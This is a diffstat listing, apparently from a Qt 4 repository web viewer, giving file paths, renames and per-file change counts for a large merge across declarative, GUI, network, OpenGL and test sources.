-rw-r--r--src/declarative/util/qdeclarativepropertychanges.cpp135
-rw-r--r--src/declarative/util/qdeclarativepropertychanges_p.h18
-rw-r--r--src/declarative/util/qdeclarativespringanimation.cpp2
-rw-r--r--src/declarative/util/qdeclarativestate.cpp45
-rw-r--r--src/declarative/util/qdeclarativestate_p.h16
-rw-r--r--src/declarative/util/qdeclarativestategroup.cpp48
-rw-r--r--src/declarative/util/qdeclarativestateoperations.cpp138
-rw-r--r--src/declarative/util/qdeclarativetransition.cpp34
-rw-r--r--src/declarative/util/qdeclarativeutilmodule.cpp3
-rw-r--r--src/declarative/util/qdeclarativeview.cpp24
-rw-r--r--src/declarative/util/qdeclarativexmllistmodel.cpp187
-rw-r--r--src/declarative/util/util.pri2
-rw-r--r--src/gui/dialogs/qfiledialog.cpp2
-rw-r--r--src/gui/dialogs/qfiledialog_symbian.cpp64
-rw-r--r--src/gui/dialogs/qfileinfogatherer.cpp6
-rw-r--r--src/gui/dialogs/qpagesetupdialog.cpp8
-rw-r--r--src/gui/embedded/embedded.pri16
-rw-r--r--src/gui/embedded/qkbddriverfactory_qws.cpp8
-rw-r--r--src/gui/embedded/qkbdintegrity_qws.cpp197
-rw-r--r--src/gui/embedded/qkbdintegrity_qws.h (renamed from tools/qdoc3/qsakernelparser.h)48
-rw-r--r--src/gui/embedded/qmousedriverfactory_qws.cpp8
-rw-r--r--src/gui/embedded/qmouseintegrity_qws.cpp271
-rw-r--r--src/gui/embedded/qmouseintegrity_qws.h82
-rw-r--r--src/gui/embedded/qscreen_qws.cpp2
-rw-r--r--src/gui/embedded/qscreen_qws.h3
-rw-r--r--src/gui/embedded/qscreendriverfactory_qws.cpp8
-rw-r--r--src/gui/embedded/qscreenintegrityfb_qws.cpp405
-rw-r--r--src/gui/embedded/qscreenintegrityfb_qws.h (renamed from tools/qdoc3/mangenerator.h)56
-rw-r--r--src/gui/graphicsview/qgraphicsanchorlayout.cpp4
-rw-r--r--src/gui/graphicsview/qgraphicsitem.cpp12
-rw-r--r--src/gui/graphicsview/qgraphicsscene.cpp29
-rw-r--r--src/gui/graphicsview/qgridlayoutengine.cpp5
-rw-r--r--src/gui/gui.pro7
-rw-r--r--src/gui/image/qbmphandler.cpp2
-rw-r--r--src/gui/image/qgifhandler.cpp10
-rw-r--r--src/gui/image/qimage.cpp8
-rw-r--r--src/gui/image/qnativeimage.cpp8
-rw-r--r--src/gui/image/qpixmap_s60.cpp27
-rw-r--r--src/gui/image/qpixmap_s60_p.h2
-rw-r--r--src/gui/image/qxpmhandler.cpp2
-rw-r--r--src/gui/inputmethod/qcoefepinputcontext_s60.cpp2
-rw-r--r--src/gui/itemviews/qabstractitemview.cpp4
-rw-r--r--src/gui/itemviews/qtreeview.cpp11
-rw-r--r--src/gui/kernel/qapplication.cpp31
-rw-r--r--src/gui/kernel/qapplication_mac.mm124
-rw-r--r--src/gui/kernel/qapplication_p.h2
-rw-r--r--src/gui/kernel/qapplication_qws.cpp5
-rw-r--r--src/gui/kernel/qapplication_s60.cpp46
-rw-r--r--src/gui/kernel/qapplication_x11.cpp48
-rw-r--r--src/gui/kernel/qcocoaapplicationdelegate_mac.mm24
-rw-r--r--src/gui/kernel/qcocoapanel_mac.mm7
-rw-r--r--src/gui/kernel/qcocoapanel_mac_p.h9
-rw-r--r--src/gui/kernel/qcocoasharedwindowmethods_mac_p.h411
-rw-r--r--src/gui/kernel/qcocoaview_mac.mm857
-rw-r--r--src/gui/kernel/qcocoaview_mac_p.h29
-rw-r--r--src/gui/kernel/qcocoawindow_mac.mm2
-rw-r--r--src/gui/kernel/qcocoawindow_mac_p.h10
-rw-r--r--src/gui/kernel/qcursor.h5
-rw-r--r--src/gui/kernel/qcursor_mac.mm128
-rw-r--r--src/gui/kernel/qdnd_mac.mm4
-rw-r--r--src/gui/kernel/qevent.cpp76
-rw-r--r--src/gui/kernel/qevent.h9
-rw-r--r--src/gui/kernel/qevent_p.h8
-rw-r--r--src/gui/kernel/qgesture.cpp2
-rw-r--r--src/gui/kernel/qkeymapper_p.h1
-rw-r--r--src/gui/kernel/qkeymapper_s60.cpp32
-rw-r--r--src/gui/kernel/qkeymapper_x11_p.cpp1
-rw-r--r--src/gui/kernel/qlayout.cpp6
-rw-r--r--src/gui/kernel/qmacgesturerecognizer_mac.mm6
-rw-r--r--src/gui/kernel/qt_cocoa_helpers_mac.mm457
-rw-r--r--src/gui/kernel/qt_cocoa_helpers_mac_p.h84
-rw-r--r--src/gui/kernel/qt_s60_p.h2
-rw-r--r--src/gui/kernel/qwidget.cpp101
-rw-r--r--src/gui/kernel/qwidget_mac.mm832
-rw-r--r--src/gui/kernel/qwidget_p.h11
-rw-r--r--src/gui/kernel/qwidget_s60.cpp49
-rw-r--r--src/gui/kernel/qwidget_x11.cpp54
-rw-r--r--src/gui/kernel/qx11embed_x11.cpp7
-rw-r--r--src/gui/math3d/qgenericmatrix.h6
-rw-r--r--src/gui/math3d/qmatrix4x4.h6
-rw-r--r--src/gui/painting/qbackingstore_p.h3
-rw-r--r--src/gui/painting/qblendfunctions.cpp2
-rw-r--r--src/gui/painting/qbrush.cpp8
-rw-r--r--src/gui/painting/qcolor.cpp6
-rw-r--r--src/gui/painting/qdrawhelper.cpp2
-rw-r--r--src/gui/painting/qdrawhelper_arm_simd.cpp4
-rw-r--r--src/gui/painting/qgraphicssystem_runtime.cpp1
-rw-r--r--src/gui/painting/qpaintengine_raster.cpp15
-rw-r--r--src/gui/painting/qpainter.cpp12
-rw-r--r--src/gui/painting/qpainterpath.cpp25
-rw-r--r--src/gui/painting/qstroker.cpp40
-rw-r--r--src/gui/painting/qwindowsurface_raster.cpp30
-rw-r--r--src/gui/painting/qwindowsurface_raster_p.h3
-rw-r--r--src/gui/painting/qwindowsurface_s60.cpp17
-rw-r--r--src/gui/s60framework/qs60mainappui.cpp11
-rw-r--r--src/gui/s60framework/qs60mainappui.h1
-rw-r--r--src/gui/s60framework/qs60maindocument.cpp20
-rw-r--r--src/gui/statemachine/qguistatemachine.cpp1
-rw-r--r--src/gui/styles/qs60style.cpp6
-rw-r--r--src/gui/styles/qs60style_s60.cpp8
-rw-r--r--src/gui/styles/qstylesheetstyle.cpp2
-rw-r--r--src/gui/styles/qstylesheetstyle_default.cpp2
-rw-r--r--src/gui/text/qcssparser.cpp44
-rw-r--r--src/gui/text/qcssparser_p.h3
-rw-r--r--src/gui/text/qfont_s60.cpp18
-rw-r--r--src/gui/text/qfontdatabase.cpp20
-rw-r--r--src/gui/text/qfontdatabase_s60.cpp553
-rw-r--r--src/gui/text/qfontdatabase_x11.cpp11
-rw-r--r--src/gui/text/qfontengine_qws.cpp51
-rw-r--r--src/gui/text/qfontengine_s60.cpp5
-rw-r--r--src/gui/text/qtextcontrol.cpp162
-rw-r--r--src/gui/text/qtextcontrol_p.h8
-rw-r--r--src/gui/text/qtextcontrol_p_p.h24
-rw-r--r--src/gui/text/qtextdocument_p.cpp4
-rw-r--r--src/gui/text/qtextdocumentlayout.cpp1
-rw-r--r--src/gui/text/qtextengine.cpp18
-rw-r--r--src/gui/text/text.pri2
-rw-r--r--src/gui/widgets/qcocoamenu_mac.mm1
-rw-r--r--src/gui/widgets/qcombobox.cpp16
-rw-r--r--src/gui/widgets/qfocusframe.cpp3
-rw-r--r--src/gui/widgets/qlinecontrol.cpp10
-rw-r--r--src/gui/widgets/qlinecontrol_p.h1
-rw-r--r--src/gui/widgets/qmainwindow.cpp5
-rw-r--r--src/gui/widgets/qmainwindowlayout_mac.mm25
-rw-r--r--src/gui/widgets/qmenubar.cpp5
-rw-r--r--src/gui/widgets/qplaintextedit.cpp2
-rw-r--r--src/gui/widgets/qscrollbar.cpp39
-rw-r--r--src/gui/widgets/qsizegrip.cpp4
-rw-r--r--src/imports/gestures/qdeclarativegesturearea.cpp18
-rw-r--r--src/multimedia/audio/qaudiooutput_symbian_p.cpp2
-rw-r--r--src/network/access/access.pri2
-rw-r--r--src/network/access/qnetworkaccessauthenticationmanager.cpp297
-rw-r--r--src/network/access/qnetworkaccessauthenticationmanager_p.h107
-rw-r--r--src/network/access/qnetworkaccessbackend.cpp2
-rw-r--r--src/network/access/qnetworkaccessftpbackend.cpp4
-rw-r--r--src/network/access/qnetworkaccessmanager.cpp299
-rw-r--r--src/network/access/qnetworkaccessmanager.h2
-rw-r--r--src/network/access/qnetworkaccessmanager_p.h9
-rw-r--r--src/network/access/qnetworkdiskcache.cpp2
-rw-r--r--src/network/access/qnetworkreplyimpl.cpp12
-rw-r--r--src/network/access/qnetworkrequest.cpp5
-rw-r--r--src/network/bearer/bearer.pri6
-rw-r--r--src/network/bearer/qnetworkconfigmanager.cpp17
-rw-r--r--src/network/bearer/qnetworksession.cpp7
-rw-r--r--src/network/bearer/qnetworksession.h2
-rw-r--r--src/network/bearer/qsharednetworksession.cpp90
-rw-r--r--src/network/bearer/qsharednetworksession_p.h81
-rw-r--r--src/network/kernel/kernel.pri1
-rw-r--r--src/network/kernel/qauthenticator.cpp19
-rw-r--r--src/network/kernel/qnetworkinterface_symbian.cpp2
-rw-r--r--src/network/socket/qlocalsocket.cpp2
-rw-r--r--src/network/socket/socket.pri10
-rw-r--r--src/network/ssl/qsslsocket_openssl.cpp1
-rw-r--r--src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp15
-rw-r--r--src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp3
-rw-r--r--src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h4
-rw-r--r--src/opengl/opengl.pro7
-rw-r--r--src/opengl/qgl.cpp2
-rw-r--r--src/opengl/qgl_symbian.cpp114
-rw-r--r--src/opengl/qglframebufferobject.cpp4
-rw-r--r--src/opengl/qglpixelbuffer.cpp4
-rw-r--r--src/opengl/qglpixmapfilter.cpp6
-rw-r--r--src/opengl/qglshaderprogram.cpp4
-rw-r--r--src/opengl/qpaintengine_opengl.cpp2
-rw-r--r--src/opengl/qpixmapdata_gl.cpp167
-rw-r--r--src/opengl/qpixmapdata_gl_p.h9
-rw-r--r--src/opengl/qwindowsurface_gl.cpp44
-rw-r--r--src/openvg/openvg.pro7
-rw-r--r--src/openvg/qpaintengine_vg.cpp45
-rw-r--r--src/openvg/qpixmapdata_vg.cpp16
-rw-r--r--src/openvg/qvg_symbian.cpp2
-rw-r--r--src/openvg/qwindowsurface_vgegl.cpp3
-rw-r--r--src/plugins/bearer/icd/dbusdispatcher.cpp8
-rw-r--r--src/plugins/bearer/icd/qnetworksession_impl.cpp6
-rw-r--r--src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp5
-rw-r--r--src/plugins/bearer/symbian/qnetworksession_impl.cpp6
-rw-r--r--src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp27
-rw-r--r--src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp2
-rw-r--r--src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp46
-rw-r--r--src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h1
-rw-r--r--src/plugins/graphicssystems/meego/dithering.cpp147
-rw-r--r--src/plugins/graphicssystems/meego/qmeegographicssystem.cpp8
-rw-r--r--src/plugins/imageformats/ico/qicohandler.cpp2
-rw-r--r--src/plugins/phonon/mmf/mmf.pro2
-rw-r--r--src/plugins/plugins.pro2
-rw-r--r--src/plugins/qmltooling/qmltooling.pro4
-rw-r--r--src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp173
-rw-r--r--src/plugins/qmltooling/tcpserver/qtcpserverconnection.h (renamed from tools/qdoc3/polyarchiveextractor.h)54
-rw-r--r--src/plugins/qmltooling/tcpserver/tcpserver.pro18
-rw-r--r--src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri6
-rw-r--r--src/qbase.pri2
-rw-r--r--src/qt3support/network/q3dns.cpp27
-rw-r--r--src/qt3support/tools/q3memarray.qdoc4
-rw-r--r--src/qt3support/tools/q3ptrlist.qdoc3
-rw-r--r--src/s60installs/bwins/QtCoreu.def2
-rw-r--r--src/s60installs/bwins/QtDeclarativeu.def124
-rw-r--r--src/s60installs/bwins/QtGuiu.def8
-rw-r--r--src/s60installs/bwins/QtScriptu.def2
-rw-r--r--src/s60installs/eabi/QtCoreu.def2
-rw-r--r--src/s60installs/eabi/QtDeclarativeu.def133
-rw-r--r--src/s60installs/eabi/QtGuiu.def12
-rw-r--r--src/s60installs/eabi/QtScriptu.def2
-rw-r--r--src/s60installs/s60installs.pro23
-rw-r--r--src/script/api/qscriptcontext.cpp9
-rw-r--r--src/script/api/qscriptcontextinfo.cpp7
-rw-r--r--src/script/api/qscriptengine.cpp34
-rw-r--r--src/script/api/qscriptengine_p.h36
-rw-r--r--src/script/api/qscriptprogram.cpp22
-rw-r--r--src/script/api/qscriptprogram_p.h1
-rw-r--r--src/script/bridge/qscriptclassobject.cpp5
-rw-r--r--src/script/bridge/qscriptdeclarativeclass.cpp13
-rw-r--r--src/script/bridge/qscriptdeclarativeclass_p.h2
-rw-r--r--src/script/script.pro5
-rw-r--r--src/sql/drivers/oci/qsql_oci.h6
-rw-r--r--src/sql/drivers/odbc/qsql_odbc.cpp2
-rw-r--r--src/sql/drivers/psql/qsql_psql.cpp6
-rw-r--r--src/sql/kernel/qsqldatabase.cpp2
-rw-r--r--src/sql/kernel/qsqlquery.cpp3
-rw-r--r--src/sql/models/qsqlquerymodel.cpp11
-rw-r--r--src/sql/models/qsqltablemodel.cpp26
-rw-r--r--src/sql/models/qsqltablemodel_p.h2
-rw-r--r--src/sql/sql.pro9
-rw-r--r--src/src.pro3
-rw-r--r--src/testlib/qbenchmark_p.h4
-rw-r--r--src/testlib/qtestcase.cpp53
-rw-r--r--src/testlib/qtestlog_p.h2
-rw-r--r--src/testlib/qtestmouse.h4
-rw-r--r--src/testlib/qtestresult_p.h2
-rw-r--r--src/testlib/qtesttable_p.h2
-rw-r--r--src/tools/moc/generator.cpp36
-rw-r--r--src/tools/moc/generator.h1
-rw-r--r--src/tools/moc/keywords.cpp20
-rw-r--r--src/tools/moc/main.cpp10
-rw-r--r--src/tools/moc/moc.cpp82
-rw-r--r--src/tools/moc/moc.h13
-rw-r--r--src/tools/moc/parser.cpp6
-rw-r--r--src/tools/moc/parser.h4
-rw-r--r--src/tools/moc/token.cpp1
-rw-r--r--src/tools/moc/token.h1
-rw-r--r--src/tools/moc/util/generate_keywords.cpp1
-rw-r--r--tests/auto/auto.pro1
-rw-r--r--tests/auto/bic/tst_bic.cpp3
-rw-r--r--tests/auto/corelib.pro1
-rw-r--r--tests/auto/declarative/declarative.pro2
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gifbin0 -> 6524 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml17
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp127
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/Double.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp51
-rw-r--r--tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro5
-rw-r--r--tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp123
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci7
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/heart200.pngbin0 -> 7943 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp80
-rw-r--r--tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml43
-rw-r--r--tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp50
-rw-r--r--tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp215
-rw-r--r--tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp6
-rw-r--r--tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml66
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js17
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml36
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml (renamed from tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml)0
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/testtypes.h170
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp224
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml33
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/resize.qml27
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/wheel.qml21
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp165
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml27
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/footer.qml8
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview1.qml8
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/header.qml8
-rw-r--r--tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp310
-rw-r--r--tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp158
-rw-r--r--tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp4
-rw-r--r--tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp2
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp168
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml16
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml12
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/testtypes.cpp14
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/testtypes.h201
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp68
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml20
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp171
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml24
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/footer.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/header.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml68
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp288
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml28
-rw-r--r--tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp42
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml21
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml13
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml6
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml5
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir2
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml4
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp84
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp84
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp73
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp73
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp (renamed from tools/qdoc3/bookgenerator.h)32
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro2
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp163
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro7
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml28
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml24
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp160
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/dragpath.qml19
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/treemodel.qml19
-rw-r--r--tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp81
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml46
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro16
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp315
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp9
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml9
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml44
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml5
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml5
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml41
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml5
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml5
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml5
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml20
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp428
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/formatting.qml53
-rw-r--r--tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro2
-rw-r--r--tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp107
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml26
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp295
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml23
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/lineCount.qml15
-rw-r--r--tests/auto/declarative/qdeclarativetext/data/lineHeight.qml15
-rw-r--r--tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp184
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml23
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp871
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml23
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml7
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml8
-rw-r--r--tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp887
-rw-r--r--tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp21
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js6
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js5
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp52
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml11
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml8
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp97
-rw-r--r--tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp12
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.pngbin0 -> 7233 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml22
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.pngbin0 -> 343 bytes
